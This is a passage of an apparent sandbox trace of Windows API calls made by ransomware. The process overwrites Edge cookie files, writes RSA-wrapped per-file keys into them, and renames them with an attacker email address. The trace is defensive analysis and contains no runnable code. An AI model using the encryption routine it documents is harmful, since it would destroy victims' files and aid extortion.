lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=101) returned 1 [0299.874] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a10c8, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x65, lpOverlapped=0x0) returned 1 [0299.875] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.875] WriteFile (in: hFile=0x1b90, lpBuffer=0x57e1d0*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x65, lpOverlapped=0x0) returned 1 [0299.875] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x65 [0299.875] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.875] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.875] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.875] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.876] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.876] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="O3Ks4jtqycgJ7rge/OM8kb7vCr8AYHQu3LxaxeOnf+dJYNFIDxR1cQDmqNmHwWV1\nSet8cWypij0zClzq7Ae8DyQq0E3Msf5TbhdFWfmLSqahA/R8lxJE1zsHIB7eG623\nKIxoHq68NDFoOZkweerz0tlSwX20C/N7yfFDrXZC51yGq86ZHkYBah8dHSXaa5mk\nkrLrPTDGxycA1F72ENYlO78AJx1FESehMKxRDU8lW12J0wIiPjTxhW+uopIhEGWC\n/+fkc/nqr5tljTs9urr+I4DslehWUvQ1+Y0mEB3KGTKjA6z0mowxKx5nlxuqd1c2\nsymk7x/PzAKmZa2OVD9Pqw==\n", pcchString=0x2e3f9a8) returned 1 [0299.876] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.876] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.876] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.876] CloseHandle (hObject=0x1b90) returned 1 [0299.876] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\s7q1eh8y.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\s7q1eh8y.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.878] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.878] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie", dwFileAttributes=0x80) returned 1 [0299.879] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\qpywutn9.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.879] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=202) returned 1 [0299.879] ReadFile (in: hFile=0x1b90, lpBuffer=0x6694c0, nNumberOfBytesToRead=0xca, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6694c0*, lpNumberOfBytesRead=0x2e3f9b4*=0xca, lpOverlapped=0x0) returned 1 [0299.880] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-202, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.880] WriteFile (in: hFile=0x1b90, lpBuffer=0x668ed8*, nNumberOfBytesToWrite=0xca, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x668ed8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xca, lpOverlapped=0x0) returned 1 [0299.880] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xca [0299.880] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.880] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.881] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.881] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.881] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.881] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="b0W08rO3RBmLxbDWdiguaMINo7IRV+9V45ePRFmG7FfL/Fn7CXzr+c6XCqVPLfbt\nDQo/d9DpQE+Jo/DtPNluNYKAFnrEnjDP9zCPNUjRXGo41/ibqeh4FNE53Ewz5Sd/\nxgoBjQ2m1htS+ROnTZSPDYgwDBke85GwyMAF7q5SNjtQRioiBHL5grqnQbXGssoN\nXlYqBPo/dfvn0Y+yAJI0DHYmTb9qhp0msHMggr6PDQkNsp/2XiaAfbC3ZtXsJVZ8\nSiCYRQ4H6UnKa3BYm+UoqbdSDP/xynQ9mvGVULvtlzxRR665S8M5CuVByJX5vmkB\npF7lL7vpfd/HWbfWXZcvMQ==\n", pcchString=0x2e3f9a8) returned 1 [0299.881] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.881] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.881] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.881] CloseHandle (hObject=0x1b90) returned 1 [0299.881] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\qpywutn9.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\qpywutn9.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.884] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.884] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt", dwFileAttributes=0x80) returned 1 [0299.885] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\odued5iu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.885] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=382) returned 1 [0299.886] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a5ef8, nNumberOfBytesToRead=0x17e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a5ef8*, lpNumberOfBytesRead=0x2e3f9b4*=0x17e, lpOverlapped=0x0) returned 1 [0299.886] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.886] WriteFile (in: hFile=0x1b90, lpBuffer=0x57eca8*, nNumberOfBytesToWrite=0x17e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17e, lpOverlapped=0x0) returned 1 [0299.887] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17e [0299.887] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.887] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.887] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.887] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.887] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.887] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eHXlXt12J7f254pHaFjPy9B4u1lZl/3E7qoI+p5Q/VnfJhGG/rew3X4nnMCJGU26\nhTQLRMfDdDdsy7EwczaacEyaIQtkmhm1ss/UClQWVN4Yavj3PQVSjtZ5IpIjA0o1\nnyjXkBcb9UZzXZm3a8HP9FrsBaJMsdNOXirutJh2wk3sbjpjjCIrz2GqxOKtw1j5\nzN8IUMGIP2d9JH2zC88Jgqxsk4yxNGKq5LZ2ijR+LmUienFdXgmh4cMe/2lqmMcG\nK5cXVgXzFYiONOVtsKt/agtukEweTnxE/Bso7Y+TQzpydhai1mtUdWzuSWBisThC\n0xU52F/pi3MTB2H2guqiKQ==\n", pcchString=0x2e3f9a8) returned 1 [0299.887] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.888] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.888] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.888] CloseHandle (hObject=0x1b90) returned 1 [0299.888] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\odued5iu.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\odued5iu.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.890] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.890] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie", dwFileAttributes=0x80) returned 1 [0299.891] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\o6xcout8.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.891] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=553) returned 1 [0299.891] ReadFile (in: hFile=0x1b90, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x229, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x229, lpOverlapped=0x0) returned 1 [0299.892] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-553, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.893] WriteFile (in: hFile=0x1b90, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x229, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x229, lpOverlapped=0x0) returned 1 [0299.893] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x229 [0299.893] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.893] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.893] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.893] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.893] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.893] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zMPGH1GRTpSN/UqJqvZDw0Uhs5JoW9wKZJ41d97h7CNdLU1HTDjs/144r5c3SmTl\njIGWgeVwcKIamn2py1bFHLwAj09kz084yJeYpxEPsI8MnZ7+rveJZmW980yLJVMj\njEE164xydTFB91VN5kbDDgGSgu6fDNPTkMYEW6PKRlqaoH9QJ+9V50QUbb6rQcWA\nxOgmc6hrKhUGt7zFfULxsoHAIsdldZc2X2Qw47xwD7TrBTmwdlq8+M8IL8ONr4S4\nLm8Nu2+Z3d6cMaqIO3kPeM+BXxHZwV+dXKr8pm+lOvO3MxoyWAxAWMOHBtSstLUF\nVGNb3Yn1e93h8cvA7TYpLw==\n", pcchString=0x2e3f9a8) returned 1 [0299.893] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.894] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.894] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.894] CloseHandle (hObject=0x1b90) returned 1 [0299.894] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\o6xcout8.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\o6xcout8.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.896] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt", dwFileAttributes=0x80) returned 1 [0299.897] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\nbljvim8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.897] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=228) returned 1 [0299.897] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe4, lpOverlapped=0x0) returned 1 [0299.898] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.898] WriteFile (in: hFile=0x1b90, lpBuffer=0x5bacb8*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bacb8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe4, lpOverlapped=0x0) returned 1 [0299.898] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe4 [0299.898] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.898] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.898] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.898] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.899] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.899] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xfbOeWxOI2yzzEXnsyO1R0/er7cBAgL1dgLqmnvWBtH5/z7asS3t6UUEfsd9bita\ngtRl+HIi6ZkcMIx2eUmPFSZJp7cLAOktAMuujpG9infDPWmaG3O5fofJgxcJ9Ylv\nii0M4UkkfegbsmOJk24z516bwrXTJhHnO4e4rh1Jntvj/3an340gIni8NTudkQRv\nOejSFibUmtObU1FEa6pmyOM0LBLUjfBj4ig1a5ZLEWmmgi0EnOkg+lb4kOUkUWVA\nPVQap8iuT7zUrFzBknLvvY9T+fU7J/4pQg9qC3KA9vXtuxfNPOd5MtpIWj/Zez9O\nlRBmgEuo8qgzaLTqnMNtFw==\n", pcchString=0x2e3f9a8) returned 1 [0299.899] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.899] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.899] CloseHandle (hObject=0x1b90) returned 1 [0299.899] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\nbljvim8.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\nbljvim8.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.912] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.912] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie", dwFileAttributes=0x80) returned 1 [0299.913] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\maduevpf.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.914] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=127) returned 1 [0299.914] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f8b3d0, 